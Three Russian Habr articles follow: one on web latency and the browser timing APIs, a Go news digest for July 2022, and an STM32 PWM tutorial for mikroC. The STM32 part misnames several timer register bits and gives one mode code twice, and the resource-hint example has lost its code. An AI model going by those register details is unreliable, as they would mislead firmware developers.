Не стоит забывать и о том, что браузеры могут использовать разную логику загрузки ресурсов и это может влиять на производительность. Отметим, что WebPageTest помимо локации позволяет выбрать браузер и его версию, что позволяет оценивать производительность приложения во всех современных браузерах.
Сетевой график — это мощный инструмент, который может помочь в тестировании оптимизации любой страницы и приложения. Предыдущий график ресурсов часто называют анализом фронт-энда приложения. Однако многих это вводит в заблуждение. Это может показать, что вся проблема производительности заключается только в клиенте. Тем не менее, несмотря на то, что выполнение JS, CSS и процесс рендеринга является критическим и ресурсоемким этапом, работа над откликом сервера и уменьшение сетевых задержек имеет не менее важное значение для оптимизации производительности. В конце концов, сколько бы сил вы не вложили в оптимизацию содержимого, в этом мало пользы, если ресурс недоступен в сети!
Для демонстрации этого, мы перейдем в connection view на графике от WebPageTest.
*Сетевой график (connection view) Yahoo.com*
В отличие от графика ресурсов, где каждая запись описывает конкретный HTTP-запрос, на сетевом графике показано каждое TCP-соединение. В этом примере все 30 из них используются для загрузки ресурсов главной страницы Yahoo!.. Что-нибудь выделяется? Стоит обратить внимание, что время загрузки, которое выделено синим цветом, является лишь малой долей общего времени соединения. Можно увидеть, что было 15 запросов поиска DNS, 30 раз происходило открытие TCP-соединения и множество сетевых задержек вызванных ожиданием первого байта ответа.
На последок мы оставили самое интересное. Настоящим сюрпризом для многих может стать то, что находится в нижней части сетевого графика: рассматривается использование пропускной спобности канала. За исключением нескольких коротких пакетов, использование доступного канала выглядит очень незначительным: мы не ограничены пропускной способностью нашего канала! Это аномалия или ошибка браузера? К сожалению, ни один ответ не явлется правильным. Оказывается, мы ограничены не шириной канала. Проблема в задержках между клиентом и сервером.
#### Столпы эффективности: Вычисление, Визуализация, Распространение
Выполнение веб-приложения, прежде всего, включает в себя три задачи: выборка ресурсов, построение страницы и визуализация, а также выполнение JavaScript. Этапы визуализации и выполнения сценариев следуют однопоточной, чередующейся модели исполнения; выполнение параллельных модификаций полученной объектной модели документа (DOM) невозможно. Следовательно, оптимизация как визуализация и выполнение сценариев, работающих одновременно, как мы видели в “DOM, CSSOM, and JavaScript”, имеет решающее значение.
Тем не менее, оптимизация выполнения JavaScript и конвейеров визуализации также не пройдет на отлично, если браузер блокируется в сети, ожидая поставки ресурсов. Быстрая и эффективная поставка сетевых ресурсов является краеугольным камнем производительности каждого приложения, работающего в браузере.
Скорость работы Интернет становится все быстрее с каждым днем, так не решится ли эта проблема сама собой? Да, наши приложения становятся больше, но если глобальная средняя скорость уже 3,1 Мбит («Пропускная способность на границе сети”) и продолжает расти, то о чем беспокоиться, не так ли? К сожалению, как вы могли бы предположить, и как показывает пример Yahoo!, если бы это было так, то вы бы не читали эту статью. Давайте посмотрим внимательнее.
###### Большая пропускная способность не имеет (большого) значения
Попридержите коней! Конечно, вопросы пропускной способности имеют свое значение! Доступ к более высокой скорости передачи данных всегда хорош, особенно в случаях, включающих массовые трансферы данных: видео и потоковое аудио или любой другой тип передачи больших объемов данных. Тем не менее, когда дело доходит до повседневного просмотра веб-страниц, который требует подкачки сотни относительно небольших ресурсов с десятков различных хостов, задержки в обе стороны являются ограничивающим фактором.
Потоковое видео высокой четкости с домашней страницы Yahoo! ограничено пропускной способностью. Загрузка и визуализация домашней страницы Yahoo! ограничивается задержкой.
В зависимости от качества и кодировки видео, которое вы пытаетесь воспроизвести, вам может понадобиться где угодно от нескольких сотен килобит до нескольких Мбит мощности пропускной способности, например, 3+ Мбит для видеопотока HD 1080p. Такая скорость передачи данных теперь в пределах досягаемости для многих пользователей, о чем свидетельствуют растущая популярность сервисов потокового видео, таких как Netflix. Почему же тогда загрузка гораздо более маленького веб-приложения могла бы стать такой проблемой для соединения, способного на потоковое воспроизведение фильма в высоком разрешении?
###### Задержки, как горлышко производительности
Давайте посмотрим на результаты количественного анализа времени загрузки страниц в зависимости от изменения пропускной способности канала и задержек, выполненного Mike Belshe, одним из создателей протокола SPDY и одним из разработчиков протокола HTTP 2.0:
В первом тесте задержки в загрузке страницы достаточно постоянные, хотя пропускная способность канала увеличивается с 1 до 10 мегабит в секунду. Заметьте, что апгрейд канала с 1 до 2 мегабит дает значительный прирост скорости загрузки, чего не происходит так значительно далее. Апгрейд с 5 до 10 мегабит дает только 5% ускорения загрузки в каждую итерацию.
Тем не менее, эксперимент с задержками показывает нам совсем другую картину: на каждые 20 миллисекунд задержки мы получаем линейное уменьшение скорости загрузки страницы!
*Чтобы ускорить Интернет в целом, мы должны посмотреть на способы уменьшения задержек. Что, если мы сможем уменьшить кросс-атлантические задержки со 150 до 100 мс? Это даст больший эффект для скорости доступа в Интернет, чем увеличение пропускной способности канала с 3.9 мбит до 10 или даже до гигабита. Другой подход к уменьшению времени загрузки страницы должен уменьшить количество запросов, требуемых для загрузки страницы. Сегодня веб-страницы требуют значительного количества соединений между клиентом и сервером. Количество запросов в оба конца связано в значительной мере со служебным обменом данными для начала коммуникации между клиентом и сервером (например в DNS, TCP, HTTP) и так же на это влияет например медленный старт TCP. Если мы сможем улучшить протоколы для передачи данных с меньшим количеством соединений, мы так же сможем увеличить скорость загрузки страниц. Это одна из целей SPDY.
Mike Belshe.*
Показанные результаты удивительны для многих, но таковыми быть не должны, так как они — результат прямого влияния характеристик производительности протоколов: TCP, контроля и согласования потоков, блокировки из-за потери пакетов. Большинство из потоков данных HTTP содержат небольшие, пульсирующие передачи данных, в то время, как TCP оптимизирован для долгоживущих соединений и пакетной передачи данных. Сетевые задержки — также бутылочное горлышко для HTTP и большинства веб-приложений, работающих поверх него.
Если задержки — ограничивающий фактор для большинства проводных соединений, представьте какую значительную роль они играют для беспроводных клиентов: беспроводные задержки обычно выше, делая сетевые оптимизации критическим приоритетом для производительности веба.
###### Синтетические и пользовательские тесты производительности
Если мы можем что-то измерить, мы можем это улучшить. Вопрос в том, выбран ли правильный критерий измерения и тщателен ли процесс? Как мы заметили ранее, измерение производительности современного веб-приложения задача не тривиальная: не существует одного общего показателя, который остается единым для любого приложения, что означает необходимость внимательного определения специального показателя в каждом отдельном случае. Затем, когда критерий выбран, мы должны получить сведения о производительности, что делается при помощи комбинации синтетических и пользовательских тестов.
В общих чертах, синтетическое тестирование применяется к любому процессу в управляемых условиях измерения: локальный процесс сборки запускается через ПО проверки производительности, нагрузка тестируется против промежуточной инфраструктуры или набора гео-распределенных серверов, которые периодически запускают набор скриптованных действий и логгируют вывод. Каждый из этих тестов может проверять разные части инфраструктуры (к примеру, пропускную способность сервера приложения, производительность базы данных, тайминг DNS и т.д.), и служит устойчивой основой для определения падения производительности в конкретном компоненте системы.
Хорошо настроенное синтетическое тестирование предоставляет контроллируемое и воспроизводимое окружение тестирования, что делает его отлично подходящим для выявления и исправления падений производительности до того, как они дойдут до конечного пользователя. Подсказка: определите ключевые показатели производительности и выделите „бюджет“ (мощность) для каждого, как часть вашего синтетического тестирования. Если „бюджет“ превышен, бейте тревогу!
Однако, синтетического тестирования недостаточно для определения всех узких мест производительности. Конкретнее, проблема в том, что полученные измерения не отражают всего разнообразия реальных факторов, которые определят реальный пользовательский опыт работы с приложением.
Некоторые способствующие этому факторы включают в себя:
* Сценарий и выбор страниц: копировать пути навигации реального пользователя сложно.
* Кэш браузера: производительность может широко варьироваться в зависимости от кэша пользователья
* Посредники: производительность может варьироваться в зависимости от промежуточных прокси и кэшей.
* Разнообразие железа: широкий спектр производительности CPU, GPU, и памяти.
* Разнообразие браузеров: широкий спектр версий браузеров, новых и старых.
* Соединение: постоянно меняющаяся скорость и частота реальных подключений.
Объединение этих и аналогичных факторов означает, что в дополнение к синтетическому тестированию, мы должны улучшать нашу стратегию производительности вместе с измерениями со стороны реальных пользователей (real-user measurment, RUM), чтобы определить текущую производительность нашего приложения для конечного пользователя. Хорошая новость состоит в том, что W3C Web Perfomance Working Group упростили эту часть нашего процесса сбора данных, представив API тайминга навигации (Navigation Timing Api), который теперь поддерживается между многими соверменными десктопными и мобильными браузерами.
*Специфические для пользователя счетчики производительности Navigation Timing*
Реальное преимущество Navigation Timing заключается в том, что оно раскрывает массу ранее недоступных данных, таких как время соединения DNS и TCP с высокой точностью (в микросекундах) с помощью стандартизированного объекта perfomance.timing в каждом браузере.
Следовательно, процесс получения информации прост: загрузить страницу, забрать тайминговый объект с браузера пользователя и отдать его обратно вашим анализирующим серверам. Получая, эту информацию, мы можем наблюдать реальную произодительность нашего приложения, как она видна реальным пользователям, на реальном железе и на большом разнообразии различных сетей.
###### Анализ информации пользовательских измерений
Когда вы измеряете данные производительности, всегда обращайте внимание на составляющие данных: отбросьте средниее значения и сфокусируйтесь на гистограммах, медианах и квантилях. Средние значения приводят к бессмысленным показателям, когда идет анализ искаженной и смешанной выдачи.
*Скорость загрузки страницы и времени ответа igvita.com*
Изображение показывает пример обоих типов выдачи на одном сайте: искаженный вывод времени загрузки страницы и смешанная выдача ответа сервера (2 режима для формирования сервером кэшированной и некэшированной страницы).
Убедитесь, что ваш инструментарий аналитики может предоставить корректные показатели статистики для вашей иформации о производительности. Предыдущие данные были получены от аналитики Google, которая предоставляет гистограмму внутри стандартных отчетов о скорости сайта. Аналитика автоматически получает данные Navigation Timing (скорости навигации), когда установлен трэкер аналитики. Аналогично, существует широкое разнообразие различных вендоров аналитического ПО, которые предлагают получение и отчеты о Navigation Timing.
В дополнение к стандартизации навигационного тайминга, W3C Performance Group так же стандартизировали еще два набора API — User Timing (пользовательский тайминг) и Resource Timing (тайминг ресурсов). Тогда как Navigation Timing показывает производительность только для корневого документа, Resource Timing предоставляет аналогичную информацию о производительности для каждого ресурса на странице, позволяя получить полный профайл производительности страницы. Подобно, User Timing предоставляет простой JavaScript API для отметки и измерить показатели производительности, специфичные для конкретного приложения, при помощи все тех же точных таймеров:
```
function init() {
performance.mark("startTask1"); 1
applicationCode1(); 2
performance.mark("endTask1");
logPerformance();
}
function logPerformance() {
var perfEntries = performance.getEntriesByType("mark");
for (var i = 0; i < perfEntries.length; i++) { 3
console.log("Name: " + perfEntries[i].name +
" Entry Type: " + perfEntries[i].entryType +
" Start Time: " + perfEntries[i].startTime +
" Duration: " + perfEntries[i].duration + "\n");
}
console.log(performance.timing); 4
}
```
1. Сохраняем отметку с ассоциированным именем.
2. Исполняем код приложения.
3. Повторяем и логгируем данные измерений.
4. Выводим обьект Navigation Timing конкретной страницы.
Сочетание Navigation, Resource и User timing API предоставляет все инструменты нужные для измерения производительности в реальном времени, больше нет никаких оправданий того, почему вы сделали что-либо неправильно. Мы оптимизируем то, что мы измеряем. Синтетическое тестирование и RUM являются дополнительными подходами, они помогут вам определить все проблемные места производительности и дадут представление о том, как пользователь воспринимает ваше приложение.
Пользовательская и основанная на особенностях приложения метрика — ключ к созданию прочной стратегии оптимизации производительности. Нет универсального способа измерить и определить качество пользовательского опыта. Вместо этого, для каждого приложения необходимо определить конкретные этапы развития приложения. Этот процесс требует сотрудничества между всеми сторонами проекта: владельцами, дизайнерами и разработчиками.
#### Оптимизация браузера
Было бы упущением не упомянуть, что современный браузер — нечто большее, чем простой сокет-менеджер. Производительность является одним из конкурентных преимуществ браузера. Поэтому неудивительно, что браузеры умнеют день ото дня. Предварительное разрешение поиска вероятных DNS, предваритильное подключение к вероятным хостам, предварительный выбор и определение приоритета ресурсов на странице и многое другое.
Точный список выполняемого отличается у разных браузеров, но все это можно разделить на два больших класса:
###### Document-aware optimization
Стек сетевых протоколов интегрирован с документом. Html, css и js парсинг помогает определить приоритеты критических сетевых ресурсов, загрузить их раньше и получить страницы с интерактивной частью как можно быстрее. Часто это делается исходя из списка приоритетных ресурсов, с помощью предварительного парсинга и подобных методов.
###### Speculative optimization
Браузер может узнать пользовательские навигационные шаблоны с течением времени и выполнять спекулятивные оптимизации в попытке предсказать вероятные действия пользователя путем предварительного разрешения DNS, предварительного подключения к вероятных хостам, и так далее.
Хорошей новостью является то, что все эти оптимизации выполняются автоматически от нашего имени и с их помощью часто можно сохранить до сотен миллисекунд. Важно понять, как и почему это работает именно так, и как мы сможем помочь браузеру загружать наши веб-приложения еще быстрее.
Есть четыре метода, используемые большинством браузеров:
###### Предварительный выбор ресурсов и определение приоритетов их загрузки
HTML, CSS и JS могут передавать дополнительную информацию для сетевого стека для сообщения относительного приоритета каждого ресурса: ресурсы, которые не позволяют получить другие ресурсы, будут запрашиваться в первую очередь, в то время как низкоприоритетные запросы будут поставлены в очередь.
###### Предварительное разрешение DNS
Хосты могут быть определены заранее, что позволит избежать задержек на этапе определения DNS при запросе HTTP. Адреса хостов браузер может узнать, анализируя историю посещений, действия пользователя, такие как наведение курсора на ссылку и другое.
###### Предварительное открытие TCP-подключения
После связывания домена с ip хоста браузер может предварительно открыть TCP-соединение, ожидая HTTP-запроса. Если соединение подтверждается, таким же образом можно совершить TCP-рукопожатие.
###### Предварительный рендеринг
Некоторые браузеры позволяют отрисовать страницы в скрытой вкладке и когда пользователь инициирует запрос, вкладка перестает быть скрытой.
Внешне сетевой стек в современных браузерах не более чем просто механизм для получения контента, но изнутри это сложный и увлекательный случай, изучение которого поможет оптимизировать веб-производительность.
Каким же образом можно помочь браузеру? Для начала, нужно обратить внимание на структуру каждой страницы:
* Ресурсы подобные CSS и JS должны отдаваться как можно раньше.
* CSS должны отдаваться как можно раньше, чтобы разблокировать рендеринг и выполнение JavaScript.
* Не слишком важные JavaScript следует отдавать позже, чтобы избежать блокирования сборки DOM и CSSOM.
* HTML парсится постепенно, поэтому документ необходимо периодически очищать для улучшения производительности.
Помимо всего этого, мы можем оставлять для браузера дополнительные подсказки, которые могут предупредить браузер о необходимости дополнительной оптимизации. Браузер выполнит все необходимое от нашего имени:
```
1
2
3
4
```
1. Предразрешение хост-имени.
2. Предзагрузка критического ресурса, размещенного позже на странице.
3. Предзагрузка ресурса для текущей или будущей навигации.
4. Пререндеринг специфичной страницы, предугадывая следующее действие пользователя.
Каждая их этих подсказок напоминает о спекулятивной оптимизации. Браузер не может гарантировать обязательное выполнение этих подсказок, но он может воспользоваться подсказкой, чтобы улучшить стратегию и логику. К сожалению, не все браузеры поддерживают указанные возможности.
Для большинства пользователей и даже веб-разработчиков DNS, TCP, и SSL задержки не являются чем-то серьезным и преодолеваются на сетевых уровнях, к которым мало кто из нас спускается. И все же каждый из этих шагов имеет решающее значение для общего пользовательского опыта, так как каждое дополнительное обращение по сети добавляет десятки или сотни миллисекунд задержки сети. Помогая браузеру предвидеть эти вещи, мы можем разобраться с проблемными местами и загрузить наше веб-приложение гораздо быстрее и лучше.
###### Оптимизация времени до первого байта для поиска Google
Документ HTML парсится постепенно. Это означает, что сервер может и должен очищать размеченный документ как можно чаще. Это позволит клиенту перейти к пропущенным важным ресурсам быстрее.
Google Search — один из лучших примеров. Пока браузер клиент разбирает разметку заголовка, поисковый запрос отправляется в поисковый индекс, а остальная часть документа, которая включает результаты поиска, доставляется пользователю, как только результаты будут готовы. На данный момент, динамические части заголовка, такие как имя вошедшего в систему пользователя, заполняются с помощью JavaScript.
Успешного использования [Infobox](http://infobox.ru) и [InfoboxCloud](http://infoboxcloud.ru)! Пусть сайты и приложения работают быстро и надежно! | https://habr.com/ru/post/226289/ | null | ru | null |
# Golang-дайджест № 19 (1 – 31 июля 2022)
Свежая подборка новостей и материалов
#### Интересное в этом выпуске
* Выпущены версии 1.18.4 и 1.17.12;
* Выпущен GoLand 2022.2;
* Go To Memory;
* Что нового в Go 1.19?
Приятного чтения!
#### Новости, события
* [Выпущены версии 1.18.4 и 1.17.12](https://groups.google.com/g/golang-announce/c/nqrv9fbR0zE) — второстепенные выпуски исправления безопасности:
+ [net/http](https://go.dev/issue/53188): неправильная очистка заголовка Transfer-Encoding
+ Когда [httputil.ReverseProxy.ServeHTTP](https://go.dev/issue/53423) вызывался с картой Request.Header, содержащей нулевое значение для заголовка X-Forwarded-For, ReverseProxy устанавливал IP-адрес клиента как значение заголовка X-Forwarded-For, вопреки его документации. В более обычном случае, когда функция Director устанавливает значение заголовка X-Forwarded-For равным nil, ReverseProxy оставит заголовок не измененным, как и ожидалось.
+ [encoding/gzip](https://go.dev/issue/53168): Вызов Reader.Read для архива, содержащего большое количество связанных сжатых файлов нулевой длины, может вызвать панику из-за исчерпания стека.
+ [encoding/xml](https://go.dev/issue/53611): Вызов Unmarshal для XML-документа в структуру Go, которая имеет вложенное поле, использующее `any`тег поля, может вызвать панику из-за исчерпания стека.
+ [encoding/gob](https://go.dev/issue/53615): Вызов Decoder.Decode для сообщения, содержащего глубоко вложенные структуры, может вызвать панику из-за исчерпания стека.
+ [path/filepath](https://go.dev/issue/53416): Вызов Glob который содержит большое количество разделителей путей, может вызвать панику из-за исчерпания стека.
+ [go/parser](https://go.dev/issue/53616): Вызов любой функции Parse в исходном коде Go, который содержит глубоко вложенные типы или объявления, может вызвать панику из-за исчерпания стека.
* [PocketBase: серверная часть с открытым исходным кодом](https://pocketbase.io/)
* [Выпущен GoLand 2022.2](https://blog.jetbrains.com/go/2022/07/28/goland-2022-2-is-here/)
* [Пересмотренная модель памяти Go 1.19](https://tip.golang.org/ref/mem)
#### Awesome
* <https://awesome-go.com/>
* <https://github.com/guardrailsio/awesome-golang-security>
* <https://github.com/Binject/awesome-go-security>
* <https://gist.github.com/hbt/d6ab942b882d5b94f331c5257076d05e>
* <https://github.com/avelino/awesome-go>
#### Материалы для обучения
* [Уроки для изучения Golang](https://golangify.com/)
* [Gopherlings - изучайте Go, исправляя неправильные программы](https://github.com/soypat/gopherlings)
#### Статьи
* [Создание пользовательского действия GitHub с помощью Go](https://thedevelopercafe.com/articles/custom-github-action-with-go-29d9ce66e5a8)
* [Как поместить приложение Go в контейнер с помощью Docker](https://bartlomiejmika.com/post/2022/how-to-containerize-a-golang-app-with-docker-for-development-and-production/)
* [Погружение в исходный код Caddy 2](https://sourcegraph.com/notebooks/Tm90ZWJvb2s6MTM2Nw==)
* [Поддержание TCP-подключений в Go](https://madflojo.medium.com/keeping-tcp-connections-alive-in-golang-801a78b7cf1)
* [Руководство по сборщику мусора Go](https://go.dev/doc/gc-guide)
* [Что нового в Go 1.19?](https://blog.carlmjohnson.net/post/2022/golang-119-new-features/)
* [Совет и хитрость при работе с дженериками](https://appliedgo.com/blog/a-tip-and-a-trick-when-working-with-generics)
* [Goland IDE скрытые возможности.](https://blog.jetbrains.com/go/2022/07/21/hidden-gems-in-goland/)
* [Как написать DSL на основе синтаксического дерева в Go](https://betterprogramming.pub/how-to-write-syntax-tree-based-domain-specific-languages-in-go-b15537f0d2f3)
* [Реализация дерева сегментов в Go](https://rtoch.com/posts/golang-segment-tree/)
* [Создание игры в понг на основе терминала в Go](https://earthly.dev/blog/pongo/)
* [Создание службы обмена эфемерными заметками в Go](https://dusted.codes/building-a-secure-note-sharing-service-in-go)
* [Инструмент для просмотра дизассемблированного кода](https://www.storj.io/blog/lensm)
* [Go, я создал: пишем тесты на Allure-Go](https://habr.com/ru/company/ozontech/blog/677690/)
* [Lua конфигурация Neovim для разработки на Go](https://habr.com/ru/post/678298/)
* [Как Go-разработчику сэкономить несколько недель жизни](https://habr.com/ru/company/sbermarket/blog/676486/)
* [Minecraft protocol VarInt и VarLong. Как из единиц и нулей сделать число на примере Go?](https://habr.com/ru/post/677642/)
* [Go vs Rust. Что же лучше в конкурентности?](https://habr.com/ru/post/677374/)
* [Пишем тесты на Go — выкладываем запись QA Meetup](https://habr.com/ru/company/ozontech/blog/675114/)
* [Предотвращаем утечки памяти в Go, ч. 2. Особенности рантайма](https://habr.com/ru/company/ncloudtech/blog/676960/)
* [Go sync/singleflight: устранение дублирования идентичных запросов](https://habr.com/ru/post/677444/)
* [Использование sync/atomic в golang для float64](https://habr.com/ru/post/677332/)
* [Как мы себя обманываем, только бы продолжать пользоваться Golang](https://habr.com/ru/post/676994/)
* [Go To Memory](https://habr.com/ru/company/oleg-bunin/blog/676332/)
* [Предотвращаем утечки памяти в Go, ч. 1. Ошибки бизнес-логики](https://habr.com/ru/company/ncloudtech/blog/675390/)
* [DDD в Go: натягивание совы на глобус?](https://habr.com/ru/company/constanta/blog/675408/)
* [Веб-фреймворки для Golang в 2022 году: оптимальные варианты для разработчика](https://habr.com/ru/company/quadcode/blog/674302/)
#### Инструменты
* [Pongo2 6.0](https://github.com/flosch/pongo2) — Django-синтаксис, похожий на движок шаблонов для Go.
* [eRPC 7.0](https://github.com/andeya/erpc) — расширяемая, простая в использовании платформа RPC.
* [go-elasticsearch 8.3](https://github.com/elastic/go-elasticsearch) — официальный клиент Go для Elasticsearch.
* [Traefik 2.8.1](https://github.com/traefik/traefik) — обратный HTTP-прокси и балансировщик нагрузки.
* [FerretDB 0.5.1](https://github.com/FerretDB/FerretDB) — альтернатива MongoDB, но с серверной частью Postgres.
* [Vitess 12.0.5](https://github.com/vitessio/vitess) — система кластеризации для горизонтального масштабирования MySQL.
* [Casbin 2.51.2](https://github.com/casbin/casbin) — библиотека авторизации, поддерживающая несколько моделей контроля доступа.
* [fasthttp 1.38](https://github.com/valyala/fasthttp) — быстрый HTTP-пакет.
* [go-version 1.6](https://github.com/hashicorp/go-version) — библиотека для разбора и проверки версий и ограничений.
* [Delve 1.9](https://github.com/go-delve/delve) — популярный инструмент отладки для Go
* [Miller 6.3](https://github.com/johnkerl/miller) — как awk, sed, вырезание, объединение и сортировка для CSV/TSV.
* [GoBGP 3.4](https://github.com/osrg/gobgp) — BGP, реализованный в Go.
* [OctoSQL 0.9.2](https://github.com/cube2222/octosql) — объединяйте, анализируйте и преобразовывайте данные из нескольких источников с помощью SQL.
* [go-junit-report 2.0](https://github.com/jstemmer/go-junit-report) — преобразование выходных данных теста Go в JUnit XML.
* [s5cmd 2.0](https://github.com/peak/s5cmd) — инструмент для параллельного выполнения S3 и локальной файловой системы.
* [lo 1.27](https://github.com/samber/lo) — библиотека Go в стиле Lodash, основанная на дженериках.
* [Maddy 0.6.2](https://github.com/foxcpp/maddy) — компонуемый универсальный почтовый сервер.
* [cpuid 2.1](https://github.com/klauspost/cpuid) — инструмент идентификации функций ЦП для Go
* [gokey 0.1.1](https://github.com/cloudflare/gokey) — Простой менеджер паролей без хранилищ в Go
* [ent 0.11](https://github.com/ent/ent) — Популярная структура сущностей для Go.
* [PB 3.1](https://github.com/cheggaaa/pb) — индикатор выполнения консоли.
* [Kratos 2.4.1](https://github.com/go-kratos/kratos) — фреймворк для микросервисов.
* [Caddy 2.5.2](https://github.com/caddyserver/caddy) — быстрый веб-сервер с автоматическим HTTPS.
* [frp 0.44](https://github.com/fatedier/frp) — быстрый обратный прокси для доступа к локальным серверам.
* [tproxy 0.6.1](https://github.com/kevwan/tproxy) — инструмент cli для проксирования и анализа TCP-соединений.
* [gorse 0.4.5](https://github.com/gorse-io/gorse) — система рекомендаций.
* [Gum 0.2](https://github.com/charmbracelet/gum) — инструмент для «гламурных» сценариев консоли
* [chris](https://github.com/woojiahao/chris) — реализация парсера Пратта в Go для разбора математических уравнений
* [Go Micro 4.8](https://github.com/asim/go-micro) — платформа микросервисов.
* [Sonic 1.3.4](https://github.com/bytedance/sonic) — сверхбыстрая JSON-библиотека (де)сериализации.
* [Sarama 1.35](https://github.com/Shopify/sarama) — библиотека Go для Apache Kafka от Shopify.
#### Видео
* 📺 [Начало работы с NATS, шиной сообщений Go-Powered](https://rethink.synadia.com/episodes/1/)
* 📺 [Рефакторинг модульных тестов в процессе TDD](https://www.youtube.com/watch?v=9NePBQTG2Fo)
* 📺 [gRPC + HTTPGateway + buf + Golang = КОДОГЕНЕРАЦИЯ](https://www.youtube.com/watch?v=Yf7ZZdrQ7Bc)
#### Подкасты
* 🎧 [GenericTalks](https://soundcloud.com/generictalks)
* 🎧 [Go Time](https://podcasts.apple.com/us/podcast/go-time/id1120964487)
* 🎧 [Давайте поговорим об инструментах Go](https://changelog.com/gotime/237)
#### Сообщества
* 💬 [Вопросы по языку на русскоязычном StackOverflow](https://ru.stackoverflow.com/questions/tagged/golang)
* 💬 [Страница Go на stackoverflow](https://stackoverflow.com/collectives/go)
* [Информация о митапах](https://www.meetup.com/ru-RU/pro/go)
* 💬 [Форум в группах Google](https://groups.google.com/forum/#!forum/Golang-ru)
* <https://t.me/vseins_tech>
##### Eжедневный дайджест в телеграм
[GolangStack](https://t.me/GolangStack) | https://habr.com/ru/post/680418/ | null | ru | null |
# Первые шаги с STM32 и компилятором mikroC для ARM архитектуры — Часть 2, продолжение
Разобравшись с таймером, попробуем использовать его для чего, то кроме генерации временных интервалов. Чаще всего при помощи таймера генерируется ШИМ сигнал. Что это такое можно почитать на просторах Сети, например во всеведающий [Википедии.](https://ru.wikipedia.org/wiki/%D0%A8%D0%B8%D1%80%D0%BE%D1%82%D0%BD%D0%BE-%D0%B8%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F)
Основная прелесть ШИМ в том, что он позволяет при помощи ключей работающих в импульсном режиме (наиболее эффективном относительно потерь энергии) изменять действующее значение напряжение приложенного у той или иной нагрузке. Для ШИМ сигнала основными параметрами является общая длительность импульса и длительность его активного состояния (обычно высокого уровня сигнала).
Действующее значение напряжения имеет зависимость от длительности активного состояния импульса. Наш МК умеет генерировать ШИМ при помощи аппаратных функций таймера, не занимая драгоценное время ядра процессора.
Использовав МК в качестве ШИМ генератора можно управлять мощной нагрузкой (например нагревателем или электродвигателем). Для сглаживания высших гармоник проникающих в нагрузку от самого ШИМ модулятора необходимо применять LC или RC фильтр низких частот.
Одна из схем управления электродвигателем постоянного тока при помощи МК приведена ниже.
В данном случае сам двигатель имея индуктивную составляющую нагрузки выступает фильтром низких частот.
Каждый таймер имеет 4 независимо настраиваемых канала, каждый из которых может использоватся для генерации импульсов (***compare mode***) либо для их захвата (***capature mode***). Для начала рассмотрим какие конфигурационные регистры необходимы для того, чтобы настроить наш таймер в режим генерации ШИМ сигнала:
**TIMx\_CR1** — Регистр настройки таймера.
В прошлой части мы уже использовали бит **TIMx\_CR1.CEN** (включение/отключение таймера) этого регистра. Еще важным для нас будет бит **TIMx\_CR1.DIR** — направление счета. По умолчанию **TIMx\_CR1.CEN=0**, счет прямой, показания инкрементируются до значения 65535 или значения, записанного в регистр **TIMx\_ARR**. При установке бита **TIMx\_CR1.CEN=1** — счет обратный, при каждом такте входящего синхросигнала показания уменьшаются от 65535 до 0 (или до значения регистра (**TIMx\_ARR**).
**TIMx\_ССR1, TIMx\_ССR2, TIMx\_ССR3, TIMx\_ССR4** — регистры захвата-сравнения.
Запись значений в них задает скважность ШИМ импульсов. В режиме захвата импульсов в эти ячейки записывается значение регистра таймера **TIMx\_CNT** при фиксации на входе соответствующего канала импульса.
**TIMx\_CCMR1**, **TIMx\_CCMR2** — регистры настройки каналов захввата/генерации.
Настраивает режим работы таймера как источника импульсов либо ШИМ сигнала, либо как измерителя длительности импульсов (режим захвата). **TIMx\_CCMR1** относится к 1 и 2 каналу таймера, **TIMx\_CCMR2** — к 3 и 4. Далее мы будем рассматривать регистр **TIMx\_CCMR1**, настройки **TIMx\_CCMR2** — аналогичны
**TIMx\_CCMR1.CC1S**, используются для включения режима генерации импульсов либо режима захвата импульсов.
* **TIMx\_CCMR1.CC1S= 00** – канал работает в режиме генерации импульсов;
* **TIMx\_CCMR1.CC1S= 01** – канал работает в режиме захвата, сигнал захвата — TI1;
* **TIMx\_CCMR1.CC1S= 10** – канал работает в режиме захвата, сигнал захвата — TI2;
для **TIMx\_CCMR1.CC2S**, аналогично, за исключением того, что
* **TIMx\_CCMR2.CC1S= 01** – канал работает в режиме захвата, сигнал захвата — TI2;
* **TIMx\_CCMR2.CC1S= 10** – канал работает в режиме захвата, сигнал захвата — TI1.
Данная настройка необходима для возможности подключения к 2 каналам сигнала с одного входа, что используется, например, для захвата ШИМ сигнала.
Остальные биты регистра **TIMx\_CCMR1** зависят от того включён режим генерации или режим захвата. Пока наша цель — генерация ШИМ (**TIMx\_CCMR1.CC1S= 00**) сигнала, поэтому опишем назначение основных параметров для этого режима работы.
**TIMx\_CCMR1.CC1S**,**TIMx\_CCMR1.CC2S** — биты настройки сигнала на выходе соответствующего канала таймера.
* **TIMx\_CCMR1.CC1S = 000** – совпадение регистра сравнения (CCR1) и счетного регистра (CNT) не влияет на состояние выхода таймера;
* **TIMx\_CCMR1.CC1S = 001** – при CCR1=CNT сигнал на выходе канала =1;
* **TIMx\_CCMR1.CC1S = 010** – при CCR1=CNT сигнал на выходе канала =0;
* **TIMx\_CCMR1.CC1S = 010** – при CCR1=CNT сигнал на выходе канала инвертируется;
* **TIMx\_CCMR1.CC1S =100** — на выходе постоянно 0;
* **TIMx\_CCMR1.CC1S =101** — на выходе постоянно 1;
* **TIMx\_CCMR1.CC1S = 110** – режим ШИМа №1 (Прямой ШИМ). Если счетный регистр работает на сложение: при CNTCCR1 сигнал на выходе = 0, иначе 1.
* **TIMx\_CCMR1.CC1S = 111** – режим ШИМа №2 (Обратный ШИМ). Если счетный регистр работает на сложение: при CNTCCR1 сигнал на выходе = 1, иначе 0 .
**TIMx\_CCER** — Регистр включающий и отключающий соответствующий канал генерации/захвата сигнала таймером.
* **TIMx\_CCER1.CC1E, TIMx\_CCER1.CC2E, TIMx\_CCER1.CC3E, TIMx\_CCER1.CC4E** — включает и отключает соответствующий канал генерации/захвата.
* **TIMx\_CCER1.CC1P, TIMx\_CCER1.CC2P, TIMx\_CCER1.CC3P, TIMx\_CCER1.CC4P** — инверсия полярности выходного сигнала для режима генерации и выбор переднего либо заднего фронта импульса для режима захвата.
Для начала необходимо настроить порт микроконтроллера для работы с выходом таймера. Этот режим работы порта называется: **Alternate Function**. Для его включения в microC есть функция:
```
GPIO_Alternate_Function_Enable(&module);
```
